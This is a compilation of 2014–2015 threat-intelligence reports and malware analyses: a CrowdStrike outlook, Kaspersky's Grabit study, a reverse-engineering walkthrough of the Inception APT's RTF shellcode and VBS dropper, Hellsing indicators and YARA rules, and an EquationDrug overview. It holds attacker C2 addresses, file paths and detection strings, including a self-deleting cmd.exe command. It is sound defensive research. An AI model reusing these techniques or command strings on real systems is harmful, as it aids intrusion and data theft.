United States and Germany. The agreement was originally intended to be a six-month period in which the Iranian government would reduce its stockpile of enriched uranium fuel and suspend specific aspects of its nuclear energy programs in exchange for the UN Security Council relaxing of specific sanctions previously imposed against Iran. During this time of suspended nuclear research activities and CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen eased sanctions, negotiating parties would discuss the details of a more permanent agreement, known as the Comprehensive Plan of Action (CPOA). The JPOA could be a driver or tipping point for future cyber attacks by Iran against western targets. Iran has publicly noted the understanding that negotiations can be influenced and has demonstrated historically that it is willing (and has capabilities) to conduct cyber operations to influence negotiations if it sees fit to do so. It has been publicly speculated that Iran has conducted retaliatory attacks, notably the Shamoon incident in 2012. Recent open-source activities in the Iranian underground suggest Iran may be attempting to structure or resource for possible future cyber operations. There have been visibility changes with regard to information surrounding Iranian hackers, as well as forums and websites. Popular forums for Iranian hackers ISCN and Shabgard have been shut down and are no longer publicly accessible. Despite the shutdowns, there will likely be little change to the communication occurring between affiliated hackers in closed communications pathways. The closing of these forums could be in anticipation of future malicious activity and a desire to decrease the public profile of individuals in the Iranian underground. There are also clear links between the Iranian government hacking contests intended to identify hackers with advanced skills and to learn advanced methods of network intrusion. For example, in November 2013, just before the JPOA agreement was signed, Sharif University of Technology conducted a contest for innovative methods of computer network intrusions and defense against such intrusions. Based on the contest announcements, Iranian government cyber security authorities had access to the students submissions in the contest, and those submissions were not released to the public but rather kept private to only those with access to the contest submissions. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen Iranian adversaries such as ROCKET KITTEN, FLYING KITTEN, and CHARMING KITTEN were quite active during 2014 targeting western governments and companies. The motivation to attack such targets will only increase during 2015. However, should the process around the JPOA and CPOA take a turn that Iran perceives as disadvantageous, the motivation will likely greatly increase. Recent revelations indicate that ROCKET KITTEN may have, in fact, targeted the JPOA negotiations using spear phishing that may have targeted diplomats involved in the meetings. Cyber Spillover from Regional Conflicts Last year s report included cyber spillover as something to look for in 2014, and it will be equally as important in 2015. Increasingly, realworld physical conflicts are carrying with them associated cyber components. Sometimes the related cyber operations are carried out by entities directly engaged in the conflict, and other times entities not directly involved will engage in cyber operations in an attempt to support one side or the other. It is not possible to predict all possible conflicts in 2015, but there are three primary areas to keep an eye on. The conflict that may see the most significant uptick in associated activity is the one centered around ISIS. The Syrian civil war saw quite a bit of associated cyber operations against western targets in 2013, many of which were attributed to the DEADEYE JACKAL adversary (Syrian Electronic Army). Since that time, the ISIS terrorist group has become a significant threat in the region and appears to be capable of bringing resources to bear to carry out malicious cyber attacks. Already, in early January 2015, a group calling itself CyberCaliphate and declaring support for ISIS hacked the social media presence of U.S. Central Command and used it to spread Islamist propaganda. It is likely that this and other related groups supporting the Islamist cause will engage in operations that support ISIS objectives. Most of this activity is likely to be a nuisance, such as defacements and CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen low-level DDOS attacks, but it is possible that more advanced actors could carry out targeted or even destructive attacks. The South China Sea will be an area to continue to watch in 2015. As discussed above, tensions in this area drove a great deal of targeted intrusion activity from China-based adversaries in 2014. Tensions subsided toward the end of 2014, but the region is rich in natural resources and countries there, particularly China, are eager to lay claim to those resources. Because of this, there is a significant possibility that the conflict will flare up again in the coming year. One thing that could temper the possibility for conflict is if oil prices remain low, making oil exploration in the area potentially less lucrative. Ukraine is the third region to keep an eye on for possible cyber spillover in 2015. The physical conflict there already spilled over into cyberspace, as was discussed above. So long as the Ukrainian conflict remains unresolved and foreign governments continue to exert pressure on Russia via economic sanctions, expect continued Russian targeting of governments, particularly those in Europe and the U.S. Another related contributing factor to Russian cyber operations is the falling price of oil. Russia s economy is deeply dependent on oil prices. The precipitous fall in the price of oil at the end of 2014 and going into 2015 has already caused a great deal of economic turmoil in Russia. An extended period of low oil prices could result in increased malicious cyber activity from Russian adversaries against foreign governments and private sector organizations. The Future for PoS Attacks PoS malware experienced a great deal of success during 2014, however upcoming changes may force changes in paymentprocessing systems in the U.S. For example, several major credit card companies are expected to institute new policies in October 2015 that will shift liability for fraudulent transactions to whomever CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen is using the weakest payment-processing systems. The purpose of this is to drive retailers to adopt EMV (Europay, MasterCard, and Visa) standards, which entail chip and PIN cards that use a combination of the traditional PIN number and an embedded microchip that encrypts vital information. This type of card offers a more secure payment card solution for consumers. Additionally, several alternative solutions, such as Apple Pay and Google Wallet, have started becoming adopted, allowing for payment via token systems. In theses systems, rather than a card number being transmitted, a one-time token is passed from a consumer s device to the retailer. The advantage to this system is that in the event of the token being obtained by an unauthorized party, it cannot be reused for later transactions. Adoption of these newer payment processes should provide consumers with more secure payment methods and make it more difficult for criminals seeking to make money off these systems. There will be some lag time in 2015 as retailers and banks move to put these improvements in place, during which cybercriminals will still be able to exploit the current, antiquated payment processing systems in the U.S. However, the newer processes, once in place, should lead to a decline in the type of PoS attacks seen over the past year. Despite this decline, it is almost certain that the implementation of more secure methods will lead cybercriminals to develop more sophisticated means by which to attack paymentprocessing systems. Destructive and Disruptive Attacks Destructive attacks (such as those carried out by SILENT CHOLLIMA) and disruptive attacks (such as the DDOS activity against gaming platforms) garnered headlines at the end of 2014. The high-profile nature of these attacks does not necessarily indicate that they will grow in popularity in 2015, however it is CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen possible that the success of these attacks may encourage other groups to engage in destructive or disruptive operations to advance their interests. As an example of this, a series of disruptive attacks in December targeted online gaming platforms. These attacks manifested in the form of DDOS operations carried out by the LizardSquad group briefly discussed above. The attacks came in two waves, the first of which was in early December when the Xbox Live and PlayStation networks were knocked offline for a short period of time. The second wave of attacks occurred on 25 December 2014 when the Xbox and PlayStation online platforms suffered more outages that LizardSquad claimed responsibility for. CrowdStrike Intelligence is also aware of DDOS threats against other gaming platforms including Valve Software, which appeared to be targeted by a DNS amplification DDOS attack that is similar to previous LizardSquad activity. Malicious actors have already engaged in disruptive campaigns in early 2015. Following the January terrorist attacks in France, a group of Islamist hackers known as Fallaga conducted DDOS attacks against servers hosting websites for French foreign embassies. Soon after, another Islamist group identifying with ISIS took control of the Twitter and YouTube accounts for U.S. Central Command and posted a number of messages threatening U.S. troops and their families. Organizations in all sectors should be aware of, and prepared for, destructive and disruptive attacks. These operations are often motivated by a specific grievance, but sometimes no clear motivation can be established. Continuous monitoring for publicized threats against an organization, or for potential areas of controversy that could motivate malicious activity, is vital to detect and prepare for these types of attacks. Conclusion The question now is: How do you incorporate intelligence into your daily defenses and prioritize resources based on risk to your business? CrowdStrike Global Threat Intel Report Conclusion two thousand fourteen In the course of reviewing 2014, there were so many interesting events, adversaries, and innovations that selecting examples for this report was an incredible challenge. The CrowdStrike Intelligence team spent much time narrowing the scope of topics covered herein. The adversaries in 2014 proved, if nothing else, to be dynamic, persistent, and innovative. Defenders must be inventive, diligent, and decisive in their efforts to defend the enterprise from these attackers. 2015 will be a continuation of the cat-and-mouse game that is played between the adversary and the defender. Adversaries across the motivational spectrum will continue to evolve their tactics in order to achieve their objectives. Although tactics may evolve, network defenders will be able to have success against the adversary so long as they are well prepared. Intelligence will provide the decisive advantage to both sides, and having a good defense will be predicated on having an informed, intelligent defensive team. The incorporation of intelligence into the daily defense of the enterprise will continue to be paramount and products, services, and solution providers will need to use this intelligence to stay ahead of the adversary. At CrowdStrike, intelligence powers everything we do, and as 2015 unfolds, organizations using intelligence will be better prepared to detect, deter, and defend against their adversaries. CrowdStrike Global Threat Intel Report Crowdstrike Falcon Intelligence CrowdStrike Falcon Intelligence portal provides enterprises with strategic, customized, and actionable intelligence. Falcon Intelligence enables organizations to prioritize resources by determining targeted versus commodity attacks, saving time and focusing resources on critical threats. With unprecedented two thousand fourteen CrowdStrike Falcon Intelligence is a web-based intelligence subscription that includes full access to a variety of feature sets, including: Detailed technical and strategic analysis of 50+ adversaries capabilities, indicators and tradecraft, attribution, and intentions insight into adversary Tactics, Techniques, Customizable feeds and API for indicators of and Procedures (TTPs) and multi-source compromise in a wide variety of formats information channels, analysts can identify pending attacks and automatically feed threat intelligence via API to SIEM and Tailored intelligence that provides visibility into breaking events that matter to an organization brand, infrastructure, and customers third-party security tools. Access to CrowdStrike Falcon Intelligence is geared toward all levels of an organization, from the executive who needs to understand the business threat and strategic business impact, to the frontline security professional struggling to fight through an adversary s attack against the enterprise. Let us show you how CrowdStrike can help you understand your adversary and better protect your network in 2015! Contact sales@crowdstrike.com to discuss your specific needs. 888-512-8906 www.crowdstrike.com CrowdStrike Global Threat Intel Report two thousand fourteen About CrowdStrike CrowdStrike is a leading provider of nextgeneration endpoint protection, threat intelligence, and services. CrowdStrike Falcon enables customers to prevent damage from targeted attacks, detect and attribute advanced malware and adversary activity in real time, and effortlessly search all endpoints, reducing overall incident response time. CrowdStrike customers include some of the largest blue chip companies in the financial services, energy, oil & gas, telecommunications, retail, and technology sectors, along with some of the largest and most sophisticated government agencies worldwide. To learn more, please visit www.crowdstrike.com Grabit and the RATs Not so long ago, Kaspersky clients in the United States approached Kaspersky researchers with a request to investigate a new type of malicious software that they were able to recover from their organizations servers. The malware calls itself Grabit and is distinctive because of its versatile behavior. Every sample we found was different in size and activity from the others but the internal name and other identifiers were disturbingly similar. The timestamp seems valid and close to the documented infection timeline. Our documentation points to a campaign that started somewhere in late February 2015 and ended in midMarch. As the development phase supposedly ended, malware started spreading from India, the United States and Israel to other countries around the globe. All of the dozens of samples we managed to collect were programmed in Windows machine 32bit processor, over the Microsoft .NET Framework (Visual Basic/C#). Files were compiled over the course of three days, between March 7th and 9th of 2015. The following chart illustrates how the group or individual created the samples, the size of each sample, the time of the day when each was compiled and the time lapses between each compilation. Malware compilation timeline The smallest sample (0.52Mb) and the largest (1.57Mb) were both created on the same day, which could indicate experiments made by the group to test features, packers and dead code implementations. Looking at the chart, it is interesting to see the modus operandi as the threat actor consistently strives to achieve a variety of samples, different code sizes and supposedly more complicated obfuscation. Along with these different sizes, activities and obfuscation, a serious encryption algorithm was also implemented in each one of them. The proprietary obfuscated string, methods and classes made it rather challenging to analyze. ASLR is also enabled, which might point to an open source RAT or even a commercial framework that packed the malicious software in a well written structure. This type of work is known as a mitigation factor for threat actors to keep their code hidden from analysts eyes. During our research, dynamic analysis showed that the malicious software call home functionality communicates over obvious channels and does not go the extra mile to hide its activity. In addition, the files themselves were not programmed to make any kind of registry maneuvers that would hide them from Windows Explorer. Taking that into an equation, it seems that the threat actors are sending a weak knight in a heavy armor to war. It means that whoever programmed the malware did not write all the code from scratch. A well trained knight would never go to war with a blazing shield and yet a stick for a sword. Looking into the call home traffic, the Keylogger functionality prepares files that act as a container for keyboard interrupts, collecting hostnames, application names, usernames and passwords. However, the interesting part lies here. The file names contain a very informative string: HawkEye_Keylogger_Execution_Confirmed_ 3.10.2015 6:08:31 PM HawkEye is a commercial tool that has been in development for a few years now; it appeared in 2014, as a website called HawkEyeProducts, and made a very famous contribution to the hacker community. In the website, the product shows great versatility as it contains many types of RATs, features and functionality, such as the traditional HawkEye Logger or other types of remote administration tools like Cyborg Logger, CyberGate, DarkComet, NanoCore and more. It seems to support three types of delivery: FTP, SMTP and Web-Panel. As seen, the malware uses a number of RATs to control its victims or track their activity. One of the threat actor s successful implementations contained the well-known DarkComet. This convenient choose your functionality plays a very important role in the malware infection, routine and survival on the victim s machine. The DarkComet samples are more complicated than the traditional HawkEye logger. One instance had a random key generator which sets an initialization vector of the first 4 bytes of the executable file and appends a random 5 byte key that unpacks another PE file, less than 20Kb in size. The PE file then contains another packer with an even more challenging obfuscation technique. The last sample we tested had still more complicated behavior. The code itself had the same obfuscation technique, though traffic was not transferring in clear text. Stolen data was packed and sent encrypted over HTTP random ports. This means that the group is trying to produce other types of malicious samples with different RATs. Approximately 10,000 stolen files have been collected. Companies based in Thailand and India had the largest percentage of infected machines. By looking at the stolen credentials, it is very clear that employees sent the malware to one another, as stolen host names and internal applications are the same. The following is the full chart, updated to May 2015: Malware distribution by country Demonstrating the effectiveness of their simple Keyloggers, one C2 (on May 15th) maintained thousands of victim account credentials from hundreds of infected systems. To sum it up, Grabit threat actors did not use any sophisticated evasions or maneuvers in their dynamic activity. It is interesting to see the major differences between the core development of the malware and the actual functionality it uses. Some malware samples used the same hosting server, and even the same credentials. Could it be that our threat actor was in a hurry? Our guess is that we are looking at a group and not an individual. Some members of the group are more technical than the others and some are more security oriented and aware of the risks they might expose themselves to. Back to square one: From what we have seen so far, the malware is being delivered as a Microsoft Office Word (.doc) email attachment, containing a malicious macro called AutoOpen. This macro simply opens a socket over TCP and sends an HTTP request to a remote server that was hacked by the group to serve as a malware hub, before downloading the malware. In some cases the malicious macro was password protected, but our threat actor might have forgotten that a .doc file is actually an archive and when that archive is opened in a convenient editor of your choice, the macro strings are shown in clear-text. The malware is in plain view, modifying commonplace registry entries, such as the startup configurations, and not covering its tracks. Its binaries are not deleted in most cases, and its communication is in cleartext, where the victim can sniff the communication and grab the FTP/SMTP server s credentials. Malware derivatives are mainly located in: C:\Users\ \AppData\Roaming\Microsoft Phishing extensions: .doc 3f77403a64a2dde60c4962a6752de601d56a621a 4E7765F3BF73AEC6E350F412B623C23D37964DFC Icons: .pdf, .doc, .ttf, .xls, .ppt, .msg, .exe Stealer: .txt, .jpeg, .eml Additional Executable names: AudioEndpointBuilder.exe BrokerInfrastructure.exe WindowsUpdate.exe Malware extensions: .zip or .exe 9b48a2e82d8a82c1717f135fa750ba774403e972b6edb2a522f9870bed57e72a ea57da38870f0460f526b8504b5f4f1af3ee490ba8acfde4ad781a4e206a3d27 0b96811e4f4cfaa57fe47ebc369fdac7dfb4a900a2af8a07a7b3f513eb3e0dfa 1948f57cad96d37df95da2ee0057dd91dd4a9a67153efc278aa0736113f969e5 1d15003732430c004997f0df7cac7749ae10f992bea217a8da84e1c957143b1c 2049352f94a75978761a5367b01d486283aab1b7b94df7b08cf856f92352166b 26c6167dfcb7cda40621a952eac03b87a2f0dff1769ab9d09dafd09edc1a4c29 2e4507ff9e490f9137b73229cb0cd7b04b4dd88637890059eb1b90a757e99bcf 3928ea510a114ad0411a3528cd894f6b65f59e3d52532d3e0c35157b1de27651 710960677066beba4db33a62e59d069676ffce4a01e63dc968ad7446158f55d6 7371983a64ef9389bf3bfa8d2abacd3a909d13c3ee8b53cccf437026d5925df5 76ba61e510a340f8751e46449a7d857a2d242bd4724d0d040b060137ab5fb31a 78970883afe52e4ee846f4a7cf75b569f6e5a8e7a830d69358a8b33d186d6fec 7c8c3247ffeb269dbf840c7648e9bfaa8cf3d375a03066b57773c48de2b6d477 7f0c4d3644fdcd8ac5bc2e007bb5c3e9eab56a3d2d470bb796af88125cd74ac9 IP Addresses: 31.220.16.147 204.152.219.78 128.90.15.98 31.170.163.242 185.77.128.65 193.0.200.136 208.91.199.223 31.170.164.81 185.28.21.35 185.28.21.32 112.209.76.184 Reversing the Inception APT malware After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat and did some reversing. I felt that it would be good to write a technical blog about the process - maybe it could be helpful or interesting for some. RTF file Analysis MD5: 4a4874fa5217a8523bf4d1954efb26ef Exploit: CVE-2012-0158 As we can see in following screen shot, this is a RTF [Rich Text Format] file. Its common that attackers use document files such as these as bait. It is common that shellcode starts with a NOPsled. In following screenshot we can see that the embedded shellcode starts with NOP slide. NOP, or No OPeration - is a single-byte opcode that does nothing. It has the hex value of 0x90. Embedded Shellcode Analysis - First Level Now, to the functionality of the shellcode. We will ignore the first two prolog instructions, and for remaining statements I have inserted comments to help understanding what is happening in this chunk of code. It s traversing the TEB, the PEB and the Ldr structure to get the base addresses of ntdll.dll and kernel32.dll. It needs these to find the API addresses it requires for the rest of the infection. In screenshot below, Function 00120F82 is the malware's own GetProcAddress function which takes two parameters 1. Base address of the system dll 2. Hash of the API name. The function returns the memory address of the API. Functionality of function 00120F82 ( GetProcAddress) As shown in the next screenshot, this function parses the export name pointer table of the .dll [ex. kernel32.dll] and generates a hash for each function. It compares this with the argument API hash (Ex DF7D9BAD for GetFileSize, see above screenshot) using the CMP EDI, ESI instruction. Once the matching API is found it parses the Export Address Table and returns the respective API address to the caller in EAX register. The document contains two levels of shellcode. We are analyzing first level, and in the following code we can see a typical egghunting method: It attempts to open the already opened rtf file by checking file handles in memory. It starts with a handle with the value 4 and verifies it by doing GetFileSize on it. If this fails it does ADD ESI,4 again (adds 4 to the handle) until the API succeeds. When this happens it checks the file offset 0x8300 for the marker 0x54405450. Again, if this matches up, it allocates memory into which it reads the file content and jumps to the 2nd level shellcode with a JMP EBX. Second Level Shell Code Analysis Now we have landed into the second level shellcode, but it is obfuscated to evade static analysis. At the initial stage there are few instructions waiting to help us. This is the deobfuscation code. We can see that 0x23B * 4 is the number of bytes obfuscated, POP EBX is the get EIP instruction and 0x5687F945 is the deobfuscation XOR key. In following code we can see the hexadecimal value that corresponds to the library name being pushed to the LoadLibrary function, as well as two loops to get the API addresses using CALL 02E203E2 function. Here also it uses hashes to look up APIs. Hash Hash 73E2D87E ExitProcess 0C0397EC GlobalAlloc 7CB922F6 GlobalFree 10FA6516 ReadFile 36EF7370 GetCommandLineA 76DA08AC SetFilePointer 0E8AFE98 WinExec DF7D9BAD GetFileSize E9238AD9 _lwrite 6DD38706 CoUninitialize E88A49EA _lcreat EB9E05F5 CoSetProxyBlanket 5B8ACA33 GetTempPathA 6E26C880 CoCreateInstance 0FFD97FB CloseHandle 7FC7A3CB CoInitializeEx In the following code it searches for the embedded VBS file inside the RTF file in memory. It checks for the file size in a loop, and if the size is larger than 0x2000 then it sets the file ponter to 0x8C14 to compare with the VBS file marker as we can see in following screenshot. After finding the VBS marker in memory, it decrypts the VBS file in two iterations. In the first loop it decrypts and in the second loop it swaps the low and high bytes of the first 0x100 16-bit words, after which it writes the file to a file named Temp/ew_Rg.vbs Payload .VBS file Analysis The following screenshot shows a part of the .VBS payload file dropped by .RTF file. First line is the encrypted .dll 4th line contains Key to decrypt the .dll. Remaining part is self-explanatory. The instruction c = Crypt(c,k) function decrypts the encrypted dll and returns the decrypted dll. (See the screenshot above) c= encrypted dll. k = decryption key. Following function writes byte by byte to the dropped.dll file. Finally, the following code executes the regsvr32 command to run the wmiprvse.dll in silent mode and sets the run key in registry. Payload wmiprvse.dll file Analysis This first level of deobfuscation in wmiprvse.dll takes around 3-4 minutes to finish. Then it allocates memory using VirtualAlloc and writes the unpacked code to newly allocated memory before it jumps to the unpacked code as shown in following screen shot. This dll has 3 layers of unpacking. The one above is level one, below iyou can see level two. We can see the passing of the control to the newly unpacked .dll @CALL EAX. It's very time-consuming to understand the functionality of the dll as it decrypts and builds its own runtime import table to hinder the analysis. Analyst cannot directly see which API gets called. Finally we can see it s connecting to webdav.cloudme.com and cleartext credentials in following screenshot. Malware tries to communicate with the user account created at the WebDAV C&C to exfiltrate system and user information. Reference: https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9Cinception-framework%E2%80%9D-very-sophisticated-layered-malware Hellsing Indicators of Compromise MD5s: 015915BBFCDA1B2B884DB87262970A11 036E021E1B7F61CDDFD294F791DE7EA2 04090aca47f5360b84f6a55033544863 055BC765A78DA9CC759D1BA7AC7AC05E 085FAAC21114C844529E11422EF684D1 0BA116AA1704A415812552A815FCD34B 0CBEFD8CD4B9A36C791D926F84F10B7B 0CC5918D426CD836C52207A8332296BC 0dfcbb858bd2d5fb1d33cd69dcd844ae 0F13DEAC7D2C1A971F98C9365B071DB9 0FFE80AF4461C68D6571BEDE9527CF74 13EF0DFE608440EE60449E4300AE9324 14309b52f5a3df8cb0eb5b6dae9ce4da 17EF094043761A917BA129280618C1D3 2682A1246199A18967C98CB32191230C 2CCE768DC3717E86C5D626ED7CE2E0B7 3032F4C7A6E4E807DD7B012FA4B43718 31B3CC60DBECB653AE972DB9E57E14EC 3A40E0DEB14F821516EADAED24301335 3de2a22babb69e480db11c3c15197586 4DBFD37FD851DAEBDAE7F009ADEC3CBD 4F19D5D2C04B6FC05E56C6A48FD9CB50 58670063EC00CAF0D2D17F9D52F0AC95 588f41b1f34b29529bc117346355113f 5dec2e81037b2d72320516e86a2bcfbd 5f776a0de913173e878844d023a98f1c 5fc86559ae66dd223265540fd5dfaf3b 621e4c293313e8638fb8f725c0ae9d0f 67E032085DC756BB7123DFE942E5DCA4 73396BACD33CDE4C8CB699BCF11D9F56 824C92E4B27026C113D766C0816428A0 8BEFABB08750548D7BA64717D92B71E0 8E5FD9F8557E0D39787DD205ABFFA973 9317458E0D8484B77C0B9FA914A98230 a23d7b6a81dc0b460294e8be829f564d a642c3dfd7e9dad5dc2a27ac6d8c9868 A6703722C6A1953A8C3807A6FF93D913 aa906567b9feb1af431404d1c55e0241 ac073ad83555f3748d481bcf796e1993 e8770d73d7d8b837df44a55de9adb7d5 fe07da37643ed789c48f85d636abcf66 C&Cs - hostnames and IPs: 122[.]10[.]9[.]73 122[.]9[.]247[.]4 122[.]10[.]9[.]155 122[.]9[.]247[.]4 23[.]88[.]236[.]96 122[.]10[.]26[.]24 a[.]huntingtomingalls[.]com ack[.]philippinenewss[.]com af[.]huntingtomingalls[.]com afc[.]philippinenewss[.]com afnews[.]philippinenewss[.]com articles[.]whynotad[.]com ccid[.]mooo[.]com d6[.]philippinenewss[.]com de[.]philippinenewss[.]com dec[.]huntingtomingalls[.]com df1[.]huntingtomingalls[.]com df2[.]huntingtomingalls[.]com df3[.]huntingtomingalls[.]com df4[.]huntingtomingalls[.]com df5[.]huntingtomingalls[.]com email[.]philippinenewss[.]com email[.]philstarnotice[.]com files[.]philippinenewss[.]com files[.]philstarnotice[.]com freebsd[.]extrimtur[.]com gr[.]philippinenewss[.]com guaranteed9[.]strangled[.]net hosts[.]mysaol[.]com ima03[.]now[.]im img02[.]mooo[.]com imgs09[.]homenet[.]org knl[.]russkoeumea[.]com login[.]philstarnotice[.]com mail[.]philippinenewss[.]com my[.]philippinenewss[.]com na[.]huntingtomingalls[.]com na[.]philstarnotice[.]com new[.]philippinenewss[.]com news[.]huntingtomingalls[.]com news[.]philstarnotice[.]com ng[.]philstarnotice[.]com ns01[.]now[.]im ny[.]huntingtomingalls[.]com ny[.]philstarnotice[.]com philippinenews[.]mooo[.]com philnews[.]twilightparadox[.]com pic[.]philstarnotice[.]com pm[.]philstarnotice[.]com pop[.]philippinenewss[.]com pop[.]philstarnotice[.]com premium9[.]crabdance[.]com second[.]photo-frame[.]com shoping[.]jumpingcrab[.]com so[.]philippinenewss[.]com web[.]huntingtomingalls[.]com web01[.]crabdance[.]com webmm[.]indiadigest[.]in wg[.]philippinenewss[.]com zq[.]philippinenewss[.]com flags13[.]twilightparadox[.]com Domain registrations: huntingtomingalls[.]com - ssdfsddfs@qsdfsq.com philippinenewss[.]com - sambieber1990@yahoo.com philstarnotice[.]com - sambieber1990@yahoo.com Filenames: %systemroot%\system32\irmon32.dll %systemroot%\system32\FastUserSwitchingCompatibilityex.dll %systemroot%\system32\inetinfo32.dll %systemroot%\system32\drivers\drivers\diskfilter.sys %systemroot%\system32\usbcon.exe %windir%\temp\xKat.exe %systemroot%\system32\drivers\drivers\usbmgr.sys %appdata%\Microsoft\MMC\mmc.exe %systemroot%\system32\Iasex.dll %systemroot%\system32\Ipripex.dll %windir%\temp\mm_server.exe %windir%\temp\sys.exe %windir%\temp\test.exe Yara rules: rule apt_hellsing_implantstrings { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing implants" strings: $mz="MZ" $a1="the file uploaded failed !" $a2="ping 127.0.0.1" $b1="the file downloaded failed !" $b2="common.asp" $c="xweber_server.exe" $d="action=" $debugpath1="d:\\Hellsing\\release\\msger\\" nocase $debugpath2="d:\\hellsing\\sys\\xrat\\" nocase $debugpath3="D:\\Hellsing\\release\\exe\\" nocase $debugpath4="d:\\hellsing\\sys\\xkat\\" nocase $debugpath5="e:\\Hellsing\\release\\clare" nocase $debugpath6="e:\\Hellsing\\release\\irene\\" nocase $debugpath7="d:\\hellsing\\sys\\irene\\" nocase $e="msger_server.dll" $f="ServiceMain" condition: ($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000 rule apt_hellsing_installer { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing xweber/msger installers" strings: $mz="MZ" $cmd="cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\"" $a1="xweber_install_uac.exe" $a2="system32\\cmd.exe" wide $a4="S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y=" $a5="S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXa hTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg=" $a6="7dqm2ODf5N/Y2N/m6+br3dnZpunl44g=" $a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw==" $a8="vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo 4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSI Njl2tyI" $a9="C:\\Windows\\System32\\sysprep\\sysprep.exe" wide $a10="%SystemRoot%\\system32\\cmd.exe" wide $a11="msger_install.dll" $a12={00 65 78 2E 64 6C 6C 00} condition: ($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000 rule apt_hellsing_proxytool { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing proxy testing tool" strings: $mz="MZ" $a1="PROXY_INFO: automatic proxy url => %s " $a2="PROXY_INFO: connection type => %d " $a3="PROXY_INFO: proxy server => %s " $a4="PROXY_INFO: bypass list => %s " $a5="InternetQueryOption failed with GetLastError() %d" $a6="D:\\Hellsing\\release\\exe\\exe\\" nocase condition: ($mz at 0) and (2 of ($a*)) and filesize < 300000 rule apt_hellsing_xkat { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing xKat tool" strings: $mz="MZ" $a1="\\Dbgv.sys" $a2="XKAT_BIN" $a3="release sys file error." $a4="driver_load error. " $a5="driver_create error." $a6="delete file:%s error." $a7="delete file:%s ok." $a8="kill pid:%d error." $a9="kill pid:%d ok." $a10="-pid-delete" $a11="kill and delete pid:%d error." $a12="kill and delete pid:%d ok." condition: ($mz at 0) and (6 of ($a*)) and filesize < 300000 rule apt_hellsing_msgertype2 { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing msger type 2 implants" strings: $mz="MZ" $a1="%s\\system\\%d.txt" $a2="_msger" $a3="http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy =%s" $a4="http://%s/data/%s.1000001000" $a5="/lib/common.asp?action=user_upload&file=" $a6="%02X-%02X-%02X-%02X-%02X-%02X" condition: ($mz at 0) and (4 of ($a*)) and filesize < 500000 rule apt_hellsing_irene { meta: version = "1.0" filetype = "PE" author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab" date = "2015-04-07" description = "detection for Hellsing msger irene installer" strings: $mz="MZ" $a1="\\Drivers\\usbmgr.tmp" wide $a2="\\Drivers\\usbmgr.sys" wide $a3="common_loadDriver CreateFile error! " $a4="common_loadDriver StartService error && GetLastError():%d! " $a5="irene" wide $a6="aPLib v0.43 - the smaller the better" condition: ($mz at 0) and (4 of ($a*)) and filesize < 500000 http://securelist.com/blog/research/69203/inside-t... Inside the EquationDrug Espionage Platform Introduction EquationDrug is one of the main espionage platforms used by the Equation Group[1], a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. (See full report here [PDF][2]). EquationDrug, which is still in use, dates back to 2003, although the more modern GrayFish platform is being pushed to new victims. EquationDrug represents the main espionage platform from the #EquationAPT Group Tweet[3] It's important to note that EquationDrug is not just a Trojan, but a full espionage platform, which includes a framework for conducting cyberespionage activities by deploying speci c modules on the machines of selected victims. The concept of a cyberespionage platform is neither new nor unique. Other threat actors known to use such sophisticated platforms include Regin[4] and Epic Turla[5]. The EquationDrug platform can be extended through plugins (or modules). It is pre-built with a default set of plugins supporting a number of basic cyberespionage functions. These include common features such as le collection and the making of screenshots. Sophistication is added by storing stolen data inside a custom-encrypted virtual le system before it is sent to the command and control servers. The name "EquationDrug" or "Equestre" was assigned to this framework by Kaspersky Lab researchers. The only reference left by the framework developers was a short string "UR", as seen in several string artifacts left in the binaries. Platform Architecture The EquationDrug platform includes dozens of executables, con gurations and protected storage locations. Putting all the pieces of this puzzle together in the right order may take time for those who are not familiar with the platform. The platform includes executables, con gurations and protected storage locations #EquationAPT Tweet[6] 1 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... The architecture of the whole framework resembles a mini-operating system with kernel-mode and user-mode components carefully interacting with each other via a custom message-passing interface. The platform includes a set of drivers, a platform core (orchestrator) and a number of plugins. Every plugin has a unique ID and version number that de nes a set of functions it can provide. Some of the plugins depend on others and might not work unless dependencies are resolved. 2 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Similar to popular OS kernel designs, such as on Unix-based systems, some of the essential modules are statically linked to the platform core, while others are loaded on demand. The hypothesis that these attackers have been active since the 90s seems realistic #EquationAPT Tweet[9] The platform is started by the kernel mode driver component ("msndsrv.sys" on Windows 2000 or above and "mssvc32.vxd" on Windows 9x). The driver then waits for the system to start and initiates 